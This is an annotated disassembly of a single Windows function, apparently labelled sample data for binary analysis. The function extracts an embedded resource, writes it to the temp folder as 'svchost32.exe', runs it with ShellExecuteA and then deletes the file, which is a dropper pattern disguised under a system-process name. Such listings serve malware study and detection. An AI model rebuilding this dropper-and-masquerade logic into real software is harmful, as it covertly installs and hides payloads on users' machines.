Function at 0x180026540
Capabilities:
Create process on windows
Delete file
Extract resource via kernel32 functions
Get common file path

Disassembly:
jmp 0x180026540
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x5a8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0xfe
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x5c8]
mov rax, qword [0x180049018]
xor rax, rbp
mov qword [rbp + 0x568], rax
lea rcx, [0x180177095]
call fcn.1800022bb
lea r8, [0x18003f5b0]
mov edx, 0x65
mov rcx, qword [rbp + 0x590]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov qword [rbp + 0x48], rax
mov rdx, qword [rbp + 0x48]
mov rcx, qword [rbp + 0x590]
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov qword [rbp + 0x68], rax
mov rdx, qword [rbp + 0x48]
mov rcx, qword [rbp + 0x590]
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov eax, eax
mov qword [rbp + 0x88], rax
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_LockResource]
mov qword [rbp + 0x28], rax
lea rax, [rbp + 0xb0]
mov rdi, rax
xor eax, eax
mov ecx, 0x104
rep stosb byte [rdi], al
lea rdx, [rbp + 0xb0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
jne 0x180026616
mov eax, 5
jmp 0x1800267c9
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x4e8]
call fcn.18000188e
mov qword [rbp + 0x558], rax
mov rax, qword [rbp + 0x558]
mov qword [rbp + 0x560], rax
lea r8, str.svchost32.exe
mov rdx, qword [rbp + 0x560]
lea rcx, [rbp + 0x1d8]
call fcn.1800020fe
nop
lea rcx, [rbp + 0x4e8]
call fcn.180001352
mov edx, 0x108
lea rcx, [rbp + 0x220]
call fcn.180001767
lea rcx, [rbp + 0x1d8]
call fcn.180001159
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0x20
mov rdx, rax
lea rcx, [rbp + 0x220]
call fcn.180001744
nop
lea rcx, [rbp + 0x220]
call fcn.180001cc6
movzx eax, al
test eax, eax
jne 0x1800266e7
mov dword [rbp + 0x524], 6
lea rcx, [rbp + 0x220]
call fcn.1800014ba
nop
lea rcx, [rbp + 0x1d8]
call fcn.180001352
mov eax, dword [rbp + 0x524]
jmp 0x1800267c9
mov r8, qword [rbp + 0x88]
mov rdx, qword [rbp + 0x28]
lea rcx, [rbp + 0x220]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
mov qword [rbp + 0x548], rax
mov rax, qword [rbp + 0x548]
mov rax, qword [rax]
movsxd rax, dword [rax + 4]
mov rcx, qword [rbp + 0x548]
add rcx, rax
mov rax, rcx
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
movzx eax, al
test eax, eax
je 0x18002673d
mov dword [rbp + 0x554], 0
jmp 0x180026747
mov dword [rbp + 0x554], 7
mov eax, dword [rbp + 0x554]
mov dword [rbp + 0x344], eax
lea rcx, [rbp + 0x220]
call fcn.1800019a6
cmp dword [rbp + 0x344], 0
jne 0x18002679a
lea rcx, [rbp + 0x1d8]
call fcn.180001159
mov dword [rsp + 0x28], 0xa
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rax
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rcx, [rbp + 0x1d8]
call fcn.180001159
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_remove]
nop
lea rcx, [rbp + 0x220]
call fcn.1800014ba
nop
lea rcx, [rbp + 0x1d8]
call fcn.180001352
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x18003a070]
call fcn.180001f0a
mov rax, rdi
mov rcx, qword [rbp + 0x568]
xor rcx, rbp
call fcn.180001915
lea rsp, [rbp + 0x578]
pop rdi
pop rbp
ret